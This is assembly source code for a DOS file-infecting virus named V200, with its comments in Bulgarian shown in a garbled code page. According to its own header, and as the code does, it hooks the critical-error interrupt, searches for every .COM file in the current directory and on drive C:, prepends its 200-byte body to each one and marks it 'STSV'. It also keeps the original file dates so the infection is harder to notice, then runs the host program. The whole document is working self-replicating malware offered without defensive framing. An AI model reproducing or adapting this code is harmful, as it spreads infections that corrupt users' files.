;------------------------------------------------------------------------------;
;                                                                              ;
;                               Ви░│▒ V200                                     ;
;                                                                              ;
;   V200 е па░ази▓ен ви░│▒, дей▒▓вие▓о м│ ▒е ▒║▒▓ой в ▒ледно▓о - п░и ▒▓а░▓и░ане;
; на за░азен ┤айл ви░│▒║▓ п░е▓║░▒ва ╢┐ла▓а ▓ек│╣а ди░ек▓о░и┐ и за░аз┐ва в▒и╖ки ;
; COM - ┤айлове,в ▒л│╖ай,╖е в ▒и▒▓ема▓а има │▒▓░ой▒▓во C: ▓ези дей▒▓ви┐ ▒е     ;
; изп║лн┐ва▓ в негова▓а ▓ек│╣а ди░ек▓о░и┐.                                     ;
;   V200 ▒е на▒▓ан┐ва п░еди кода на за░азени┐ ┤айл, ви░│▒║▓ о░ганизи░а         ;
; ▒об▒▓вена п░о╢ед│░а за об░або▓ка на к░и▓и╖ни г░е╕ки (век▓о░ 24h) и не п░омен┐;
; да▓а▓а и ╖а▒а на за░┐зани▓е ┤айлове.                                         ;
;                                                                              ;
;------------------------------------------------------------------------------;

        .model Tiny
        .code


VirLen  =       200
NewId   =       offset Mark  - 100h

;-----------------------------------------------------------------------------;

        ORG     0D0h

INT24   dw      ?                       ; Т│к ╣е б║де на▒о╖ен век▓о░ 24h.
INT24a  db      ?

NewDTA  db      15h dup (?)             ; С▓░│к▓│░а на DTA.
FAttr   db      ?
FTime   dw      ?
FDate   dw      ?
FLen    dw      ?, ?
FName   db      0Dh dup (?)

;-----------------------------------------------------------------------------;

        ORG     100h

Start:
        push    ax

        mov     INT24,3B0h              ; Нов век▓о░ 24h :     mov   al,03
        mov     INT24a,0CFh             ;                      iret

        mov     ax,2524h
        mov     dx,offset INT24
        int     21h                     ; П░ена▒о╖ва век▓о░а 24h.

        mov     ah,19h
        int     21h                     ; И▒ка о▓ ДОС ▓ек│╣о▓о │▒▓░ой▒▓во.
        push    ax                      ; Запазва ▓ек│╣о▓о │▒▓░ой▒▓во.


        mov     ah,0Eh
        mov     dl,02h
        int     21h                     ; Смен┐ ▓ек│╣о▓о │▒▓░ой▒▓во на C:

        mov     ax,cs
        add     ah,10h
        mov     es,ax                   ; ES = CS + 64KBytes
        mov     si,offset Start
        xor     di,di
        mov     cx,VirLen               ; П░е╡в║░л┐ кода на ви░│▒а 64KBytes
        rep     movsb                   ; по-наго░е в паме▓▓а.

        mov     dx,offset NewDTA        ; По▒▓ав┐ DTA на нов ад░е▒.
        mov     ah,1Ah
        int     21h


;...... Запо╖ва ▓║░▒ене на ┤айлове за за░аз┐ване.

        mov     dx, offset AllCom       ; Т║░▒и в▒и╖ки '*.COM' ┤айлове.
        mov     cl,110B
        mov     ah,4Eh                  ; Извиква Find First.
        int     21h
        jc      Done                    ; П░од║лжава на▓а▓║к п░и лип▒а на
                                        ; ┤айлове за за░аз┐ване.
FindNext:

        mov     dx,offset Fname         ; В dx ад░е▒а на име▓о на ┤айла о▓ DTA.
        mov     ax,3D02h                ; О▓ва░┐ ┤айла за запи▒/╖е▓ене.
        int     21h

        mov     bx,ax                   ; Запазва номе░а на о▓во░ени┐ ┤айл.

        push    ds                      ; Запазва DS.

        push    es
        pop     ds                      ; П░о╖и▓а ▒е ╢ели┐ ┤айл на ад░е▒а-DS:DX
        mov     dx,VirLen               ; DS = CS + 64KBytes
        mov     cx,0FFFFh               ; DX = д║лжина▓а на ви░│▒а
        mov     ah,3Fh                  ; Там ▒е нами░а ви░│▒а,а ▒ега ▒лед него
        int     21h                     ; и ┤айл║▓.

        add     ax,VirLen               ; Увели╖ава д║лжина▓а на ┤айла(AX) ▒
        mov     si,ax                   ; д║лжина▓а на ви░│▒а и ┐ запазва в SI.

        cmp     Word ptr ds:[NewId+VirLen],'TS'  ; Дали ┤айл║▓ е за░азен ве╖е ?
        je      Close

        xor     cx,cx
        xor     dx,dx
        mov     ax,4200h                ; П░еме▒▓ва ▒е │каза▓ел┐ на ┤айла в
        int     21h                     ; на╖ало▓о м│.

        mov     cx,si
        mov     ah,40h                  ; О▓ ад░е▒а DS:DX ▒е запи▒ва на ди▒ка
        int     21h                     ; ви░│▒ + ┤айл

        mov     cx,cs:FTime
        mov     dx,cs:FDate
        mov     ax,5701h                ; В║з▒▓анов┐ва▓ ▒е да▓а▓а и в░еме▓о на
        int     21h                     ; за░аз┐вани┐ ┤айл о▓ DTA.

Close:
        pop     ds                      ; В║з▒▓анов┐ва DS.

        mov     ah,3Eh                  ; За▓ва░┐ ┤айла.
        int     21h

        mov     ah,4Fh
        int     21h                     ; Извиква Find Next,
        jnc     FindNext                ; ако има о╣е ┤айлове в▒и╖ко ▒е пов▓а░┐
                                        ; и за ▓┐╡.
Done:
        mov     dx,80h
        mov     ah,1Ah
        int     21h                     ; В║з▒▓анов┐ва ▒е ▒▓а░и┐ ад░е▒ на DTA.

        pop     dx
        mov     ah,0Eh
        int     21h                     ; В║з▒▓анов┐ва ▒е ▓ек│╣и┐ зава░ен ди▒к.

;....... На╖ало на ▒▓а░▓и░ане на п░ог░ама▓а к║м ко┐▓о е зака╖ен ви░│▒а.

        mov     si,offset TransF
        mov     cx,offset EndCode - offset Transf
        xor     di,di                   ; Копи░а 64KBytes по-наго░е една
        rep     movsb                   ; ▒помага▓елна ╖а▒▓, използван по-дол│.

        pop     bx                      ; В║з▒▓анов┐ва ▒║д║░жание▓о на AX в BX.

        push    es
        push    cx
        RETF                            ; О▓ива на ад░е▒ ES:00

;.......................................
                                        ; Ма░ки░овка за ░азпознаване на за░азени
Mark    DB      'STSV'                  ; ┤айлове.
AllCom  db      '*.COM',0               ; Ма▒ка за ▓║░▒ене на в▒и╖ки ┤айлове
;.......................................; за за░аз┐ване.

TRansF:
        push    ds
        pop     es

        mov     si,offset EndCode
        mov     di,offset Start
        dec     cx
        sub     cx,si                   ; См║ква кода на п░ог░ама▓а запо╖ва╣
        rep     movsb                   ; непо▒░ед▒▓вено ▒лед ви░│▒а ▒ 100h бай▓а
                                        ; надол│.
        push    ds
        mov     ax,100h
        push    ax

        mov     ax,bx                   ; В║з▒▓анов┐ва ▒║д║░жание▓о на AX.

        RETF                            ; П░едава │п░авление▓о на п░ог░ама▓а
                                        ; на ад░е▒ DS:100h.
;-----------------------------------------------------------------------------;
EndCode:
        int     20h                     ; О▓ ▓│к запо╖ва за░азена▓а п░ог░ама

End     Start
